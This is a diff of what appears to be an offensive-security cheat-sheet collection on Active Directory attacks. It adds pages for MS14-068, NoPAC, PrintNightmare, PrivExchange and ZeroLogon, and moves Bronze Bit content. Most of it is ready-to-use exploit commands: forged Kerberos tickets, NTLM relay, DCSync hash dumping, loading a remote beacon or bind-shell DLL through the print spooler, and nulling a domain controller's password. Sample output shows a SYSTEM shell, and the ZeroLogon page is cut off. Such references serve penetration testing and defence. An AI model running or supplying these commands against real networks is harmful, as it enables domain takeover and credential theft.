||||
|
@ -758,113 +268,6 @@ If we compromise the bastion we get `Domain Admins` privileges on the other doma
|
|||
```
|
||||
|
||||
|
||||
## Kerberos Bronze Bit Attack - CVE-2020-17049
|
||||
|
||||
> An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**.
|
||||
|
||||
> Patch is out on November 10, 2020, DC are most likely vulnerable until [February 2021](https://support.microsoft.com/en-us/help/4598347/managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049).
|
||||
|
||||
:warning: Patched Error Message : `[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)`
|
||||
|
||||
Requirements:
|
||||
* Service account's password hash
|
||||
* Service account's with `Constrained Delegation` or `Resource Based Constrained Delegation`
|
||||
* [Impacket PR #1013](https://github.com/SecureAuthCorp/impacket/pull/1013)
|
||||
|
||||
**Attack #1** - Bypass the `Trust this user for delegation to specified services only – Use Kerberos only` protection and impersonate a user who is protected from delegation.
|
||||
|
||||
```powershell
|
||||
# forwardable flag is only protected by the ticket encryption which uses the service account's password
|
||||
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable
|
||||
|
||||
$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable
|
||||
|
||||
# Load the ticket
|
||||
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
|
||||
|
||||
# Access "c$"
|
||||
ls \\service2.test.local\c$
|
||||
```
|
||||
|
||||
**Attack #2** - Write Permissions to one or more objects in the AD
|
||||
|
||||
```powershell
|
||||
# Create a new machine account
|
||||
Import-Module .\Powermad\powermad.ps1
|
||||
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
|
||||
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit
|
||||
|
||||
# Set PrincipalsAllowedToDelegateToAccount
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer AttackerService
|
||||
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
|
||||
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
|
||||
|
||||
# Execute the attack
|
||||
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
|
||||
|
||||
# Load the ticket
|
||||
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
|
||||
```
|
||||
|
||||
## PrivExchange attack
|
||||
|
||||
Exchange your privileges for Domain Admin privs by abusing Exchange.
|
||||
:warning: You need a shell on a user account with a mailbox.
|
||||
|
||||
|
||||
1. Exchange server hostname or IP address
|
||||
|
||||
```bash
|
||||
pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
|
||||
```
|
||||
|
||||
|
||||
2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
|
||||
|
||||
```powershell
|
||||
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
|
||||
```
|
||||
|
||||
|
||||
3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.
|
||||
|
||||
```bash
|
||||
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
|
||||
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
|
||||
python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
|
||||
|
||||
# https://github.com/G0ldenGunSec/PowerPriv
|
||||
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
|
||||
```
|
||||
|
||||
4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
|
||||
|
||||
```bash
|
||||
python secretsdump.py xxxxxxxxxx -just-dc
|
||||
python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
|
||||
```
|
||||
|
||||
5. Clean your mess and restore a previous state of the user's ACL
|
||||
|
||||
```powershell
|
||||
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
|
||||
```
|
||||
|
||||
Alternatively you can use the Metasploit module
|
||||
|
||||
[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)
|
||||
|
||||
Alternatively you can use an all-in-one tool : Exchange2domain.
|
||||
|
||||
```powershell
|
||||
git clone github.com/Ridter/Exchange2domain
|
||||
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
|
||||
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Explain like I’m 5: Kerberos - Apr 2, 2013 - @roguelynn](https://www.roguelynn.com/words/explain-like-im-5-kerberos/)
|
||||
|
|
|
@ -0,0 +1,74 @@
|
|||
# MS14-068 Checksum Validation
|
||||
|
||||
This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.
|
||||
|
||||
* RPCClient
|
||||
```powershell
|
||||
rpcclient $> lookupnames john.smith
|
||||
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
|
||||
```
|
||||
* WMI
|
||||
```powershell
|
||||
wmic useraccount get name,sid
|
||||
Administrator S-1-5-21-3415849876-833628785-5197346142-500
|
||||
Guest S-1-5-21-3415849876-833628785-5197346142-501
|
||||
Administrator S-1-5-21-297520375-2634728305-5197346142-500
|
||||
Guest S-1-5-21-297520375-2634728305-5197346142-501
|
||||
krbtgt S-1-5-21-297520375-2634728305-5197346142-502
|
||||
lambda S-1-5-21-297520375-2634728305-5197346142-1110
|
||||
```
|
||||
* Powerview
|
||||
```powershell
|
||||
Convert-NameToSid high-sec-corp.localkrbtgt
|
||||
S-1-5-21-2941561648-383941485-1389968811-502
|
||||
```
|
||||
* CrackMapExec: `crackmapexec ldap DC1.lab.local -u username -p password -k --get-sid`
|
||||
|
||||
```bash
|
||||
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
|
||||
```
|
||||
|
||||
Generate a ticket with `metasploit` or `pykek`
|
||||
|
||||
```powershell
|
||||
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL
|
||||
PASSWORD P@ssw0rd yes The Domain User password
|
||||
RHOSTS 10.10.10.10 yes The target address range or CIDR identifier
|
||||
RPORT 88 yes The target port
|
||||
Timeout 10 yes The TCP timeout to establish connection and read data
|
||||
USER lambda yes The Domain User
|
||||
USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
|
||||
$ git clone https://github.com/SecWiki/windows-kernel-exploits
|
||||
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
|
||||
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
|
||||
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
|
||||
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
|
||||
-1105
|
||||
[+] Building AS-REQ for msfdc01.metasploitable.local... Done!
|
||||
[+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
|
||||
[+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
|
||||
[+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
|
||||
[+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
|
||||
[+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
|
||||
[+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
|
||||
[+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
|
||||
[+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
|
||||
```
|
||||
|
||||
Then use `mimikatz` to load the ticket.
|
||||
|
||||
```powershell
|
||||
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
|
||||
```
|
||||
|
||||
|
||||
## Mitigations
|
||||
|
||||
* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
|
|
@ -0,0 +1,121 @@
|
|||
# NoPAC / samAccountName Spoofing
|
||||
|
||||
> During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.
|
||||
|
||||
**Requirements**
|
||||
|
||||
* MachineAccountQuota > 0
|
||||
|
||||
**Check for exploitation**
|
||||
|
||||
0. Check the MachineAccountQuota of the account
|
||||
```powershell
|
||||
crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
|
||||
StandIn.exe --object ms-DS-MachineAccountQuota=*
|
||||
```
|
||||
1. Check if the DC is vulnerable
|
||||
```powershell
|
||||
crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
|
||||
```
|
||||
|
||||
**Exploitation**
|
||||
|
||||
0. Create a computer account
|
||||
```powershell
|
||||
impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
|
||||
|
||||
powermad@windows> . .\Powermad.ps1
|
||||
powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
|
||||
powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
|
||||
|
||||
sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
|
||||
```
|
||||
1. Clear the controlled machine account `servicePrincipalName` attribute
|
||||
```ps1
|
||||
impacket@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
|
||||
|
||||
powershell@windows> . .\Powerview.ps1
|
||||
powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
|
||||
```
|
||||
2. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`
|
||||
```ps1
|
||||
# https://github.com/SecureAuthCorp/impacket/pull/1224
|
||||
impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
|
||||
|
||||
powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
|
||||
```
|
||||
3. Request a TGT for the controlled machine account
|
||||
```ps1
|
||||
impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
|
||||
|
||||
cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
|
||||
```
|
||||
4. Reset the controlled machine account sAMAccountName to its old value
|
||||
```ps1
|
||||
impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
|
||||
|
||||
powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
|
||||
```
|
||||
5. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained before
|
||||
```ps1
|
||||
# https://github.com/SecureAuthCorp/impacket/pull/1202
|
||||
impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
|
||||
|
||||
cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
|
||||
```
|
||||
6. DCSync: `KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'`
|
||||
|
||||
Automated exploitation:
|
||||
|
||||
* [cube0x0/noPac](https://github.com/cube0x0/noPac) - Windows
|
||||
```powershell
|
||||
noPac.exe scan -domain htb.local -user user -pass 'password123'
|
||||
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
|
||||
noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
|
||||
```
|
||||
* [Ridter/noPac](https://github.com/Ridter/noPac) - Linux
|
||||
```ps1
|
||||
python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump
|
||||
```
|
||||
* [WazeHell/sam-the-admin](https://github.com/WazeHell/sam-the-admin)
|
||||
```ps1
|
||||
$ python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell
|
||||
[*] Selected Target dc.caltech.white
|
||||
[*] Total Domain Admins 11
|
||||
[*] will try to impersonat gaylene.dreddy
|
||||
[*] Current ms-DS-MachineAccountQuota = 10
|
||||
[*] Adding Computer Account "SAMTHEADMIN-11$"
|
||||
[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL
|
||||
[*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
|
||||
[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white
|
||||
[*] SAMTHEADMIN-11$ sAMAccountName == dc
|
||||
[*] Saving ticket in dc.ccache
|
||||
[*] Resting the machine account to SAMTHEADMIN-11$
|
||||
[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value
|
||||
[*] Using TGT from cache
|
||||
[*] Impersonating gaylene.dreddy
|
||||
[*] Requesting S4U2self
|
||||
[*] Saving ticket in gaylene.dreddy.ccache
|
||||
[!] Launching semi-interactive shell - Careful what you execute
|
||||
C:\Windows\system32>whoami
|
||||
nt authority\system
|
||||
```
|
||||
* [ly4k/Pachine](https://github.com/ly4k/Pachine)
|
||||
```powershell
|
||||
usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
|
||||
[-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
|
||||
[domain/]username[:password]
|
||||
$ python3 pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd!'
|
||||
$ python3 pachine.py -dc-host dc.domain.local -spn cifs/dc.domain.local -impersonate administrator 'domain.local/john:Passw0rd!'
|
||||
$ export KRB5CCNAME=$PWD/administrator@domain.local.ccache
|
||||
$ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local'
|
||||
```
|
||||
|
||||
**Mitigations**:
|
||||
* [KB5007247 - Windows Server 2012 R2](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007247-monthly-rollup-2c3b6017-82f4-4102-b1e2-36f366bf3520)
|
||||
* [KB5008601 - Windows Server 2016](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008601-os-build-14393-4771-out-of-band-c8cd33ce-3d40-4853-bee4-a7cc943582b9)
|
||||
* [KB5008602 - Windows Server 2019](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7)
|
||||
* [KB5007205 - Windows Server 2022](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007205-os-build-20348-350-af102e6f-cc7c-4cd4-8dc2-8b08d73d2b31)
|
||||
* [KB5008102](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e)
|
||||
* [KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)
|
||||
|
|
@ -0,0 +1,89 @@
|
|||
# PrintNightmare
|
||||
|
||||
> CVE-2021-1675 / CVE-2021-34527
|
||||
|
||||
The DLL will be stored in `C:\Windows\System32\spool\drivers\x64\3\`.
|
||||
The exploit will execute the DLL either from the local filesystem or a remote share.
|
||||
|
||||
Requirements:
|
||||
* **Spooler Service** enabled (Mandatory)
|
||||
* Server with patches < June 2021
|
||||
* DC with `Pre Windows 2000 Compatibility` group
|
||||
* Server with registry key `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` = (DWORD) 1
|
||||
* Server with registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` = (DWORD) 0
|
||||
|
||||
|
||||
**Detect the vulnerability**:
|
||||
* Impacket - [rpcdump](https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py)
|
||||
```ps1
|
||||
python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
|
||||
Protocol: [MS-RPRN]: Print System Remote Protocol
|
||||
```
|
||||
* [It Was All A Dream](https://github.com/byt3bl33d3r/ItWasAllADream)
|
||||
```ps1
|
||||
git clone https://github.com/byt3bl33d3r/ItWasAllADream
|
||||
cd ItWasAllADream && poetry install && poetry shell
|
||||
itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
|
||||
docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
|
||||
```
|
||||
|
||||
**Payload Hosting**:
|
||||
* The payload can be hosted on Impacket SMB server since [PR #1109](https://github.com/SecureAuthCorp/impacket/pull/1109):
|
||||
```ps1
|
||||
python3 ./smbserver.py share /tmp/smb/
|
||||
```
|
||||
* Using [Invoke-BuildAnonymousSMBServer](https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer/blob/main/Invoke-BuildAnonymousSMBServer.ps1) (Admin rights required on host):
|
||||
```ps1
|
||||
Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable
|
||||
```
|
||||
* Using WebDav with [SharpWebServer](https://github.com/mgeeky/SharpWebServer) (Doesn't require admin rights):
|
||||
```ps1
|
||||
SharpWebServer.exe port=8888 dir=c:\users\public verbose=true
|
||||
```
|
||||
When using WebDav instead of SMB, you must add `@[PORT]` to the hostname in the URI, e.g.: `\\172.16.1.5@8888\Downloads\beacon.dll`
|
||||
WebDav client **must** be activated on exploited target. By default it is not activated on Windows workstations (you have to `net start webclient`) and it's not installed on servers. Here is how to detect activated webdav:
|
||||
```ps1
|
||||
cme smb -u user -p password -d domain.local -M webdav [TARGET]
|
||||
```
|
||||
|
||||
**Trigger the exploit**:
|
||||
|
||||
* [SharpNightmare](https://github.com/cube0x0/CVE-2021-1675)
|
||||
```powershell
|
||||
# require a modified Impacket: https://github.com/cube0x0/impacket
|
||||
python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
|
||||
python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
|
||||
## LPE
|
||||
SharpPrintNightmare.exe C:\addCube.dll
|
||||
## RCE using existing context
|
||||
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
|
||||
## RCE using runas /netonly
|
||||
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
|
||||
```
|
||||
* [Invoke-Nightmare](https://github.com/calebstewart/CVE-2021-1675)
|
||||
```powershell
|
||||
## LPE only (PS1 + DLL)
|
||||
Import-Module .\cve-2021-1675.ps1
|
||||
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
|
||||
Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*"
|
||||
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
|
||||
```
|
||||
* [Mimikatz v2.2.0-20210709+](https://github.com/gentilkiwi/mimikatz/releases)
|
||||
```powershell
|
||||
## LPE
|
||||
misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
|
||||
## RCE
|
||||
misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
|
||||
```
|
||||
* [PrintNightmare - @outflanknl](https://github.com/outflanknl/PrintNightmare)
|
||||
```powershell
|
||||
PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]
|
||||
```
|
||||
|
||||
**Debug informations**
|
||||
|
||||
| Error | Message | Debug |
|
||||
|--------|-----------------------|------------------------------------------|
|
||||
| 0x5 | `rpc_s_access_denied` | Permissions on the file in the SMB share |
|
||||
| 0x525 | `ERROR_NO_SUCH_USER` | The specified account does not exist. |
|
||||
| 0x180 | unknown error code | Share is not SMB2 |
|
|
@ -0,0 +1,55 @@
|
|||
# PrivExchange attack
|
||||
|
||||
Exchange your privileges for Domain Admin privs by abusing Exchange.
|
||||
:warning: You need a shell on a user account with a mailbox.
|
||||
|
||||
|
||||
1. Exchange server hostname or IP address
|
||||
|
||||
```bash
|
||||
pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
|
||||
```
|
||||
|
||||
|
||||
2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
|
||||
|
||||
```powershell
|
||||
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
|
||||
```
|
||||
|
||||
|
||||
3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.
|
||||
|
||||
```bash
|
||||
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
|
||||
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
|
||||
python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
|
||||
|
||||
# https://github.com/G0ldenGunSec/PowerPriv
|
||||
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
|
||||
```
|
||||
|
||||
4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
|
||||
|
||||
```bash
|
||||
python secretsdump.py xxxxxxxxxx -just-dc
|
||||
python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
|
||||
```
|
||||
|
||||
5. Clean your mess and restore a previous state of the user's ACL
|
||||
|
||||
```powershell
|
||||
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
|
||||
```
|
||||
|
||||
Alternatively you can use the Metasploit module
|
||||
|
||||
[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)
|
||||
|
||||
Alternatively you can use an all-in-one tool : Exchange2domain.
|
||||
|
||||
```powershell
|
||||
git clone github.com/Ridter/Exchange2domain
|
||||
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
|
||||
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
|
||||
```
|
|
@ -0,0 +1,101 @@
|
|||
# ZeroLogon
|
||||
|
||||
> CVE-2020-1472
|
||||
|
||||
White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055
|
||||
|
||||
Exploit steps from the white paper
|
||||
|
||||
1. Spoofing the client credential
|
||||
2. Disabling signing and sealing
|
||||
3. Spoofing a call
|
||||
4. Changing a computer's AD password to null
|
||||
5. From password change to domain admin
|
||||
6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service
|
||||
|
||||
* `cve-2020-1472-exploit.py` - Python script from [dirkjanm](https://github.com/dirkjanm)
|
||||
```powershell
|
||||
# Check (https://github.com/SecuraBV/CVE-2020-1472)
|
||||
proxychains python3 zerologon_tester.py DC01 172.16.1.5
|
||||
|
||||
$ git clone https://github.com/dirkjanm/CVE-2020-1472.git
|
||||
|
||||
# Activate a virtual env to install impacket
|
||||
$ python3 -m venv venv
|
||||
$ source venv/bin/activate
|
||||
$ pip3 install .
|
||||
|
||||
# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
|
||||
proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
|
||||
|
||||
# Find the old NT hash of the DC
|
||||
proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'
|
||||
|
||||
# Restore password from secretsdump
|
||||
# secretsdump will automatically dump the plaintext machine password (hex encoded)
|
||||
# when dumping the local registry secrets on the newest version
|
||||
python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
|
||||
deactivate
|
||||
```
|
||||
|
||||
* `nccfsas` - .NET binary for Cobalt Strike's execute-assembly
|
||||
```powershell
|
||||
git clone https://github.com/nccgroup/nccfsas
|
||||
# Check
|
||||
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
|
||||
|
||||
# Resetting the machine account password
|
||||
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
|
||||
|
||||
# Testing from a non Domain-joined machine
|
||||
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
|
||||
|
||||
# Now reset the password back
|
||||
```
|
||||
|
||||
* `Mimikatz` - 2.2.0 20200917 Post-Zerologon
|
||||
```powershell
|
||||
privilege::debug
|
||||
# Check for the CVE
|
||||
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
|
||||
|
||||
# Exploit the CVE and set the computer account's password to ""
|
||||
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
|
||||
|
||||
# Execute dcsync to extract some hashes
|
||||
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
|
||||
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
|
||||
|
||||
# Pass The Hash with the extracted Domain Admin hash
|
||||
sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
|
||||
|
||||
# Use IP address instead of FQDN to force NTLM with Windows APIs
|
||||
# Reset password to Waza1234/Waza1234/Waza1234/
|
||||
# https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
|
||||
lsadump::postzerologon /target:10.10.10.10 /account:DC01$
|
||||
```
|
||||
|
||||
* `CrackMapExec` - only check
|
||||
```powershell
|
||||
crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
|
||||
```
|
||||
|
||||
A 2nd approach to exploit zerologon is done by relaying authentication.
|
||||
|
||||
This technique, [found by dirkjanm](https://dirkjanm.io/a-different-way-of-abusing-zerologon), requires more prerequisites but has the advantage of having no impact on service continuity.
|
||||
The following prerequisites are needed:
|
||||
* A domain account
|
||||
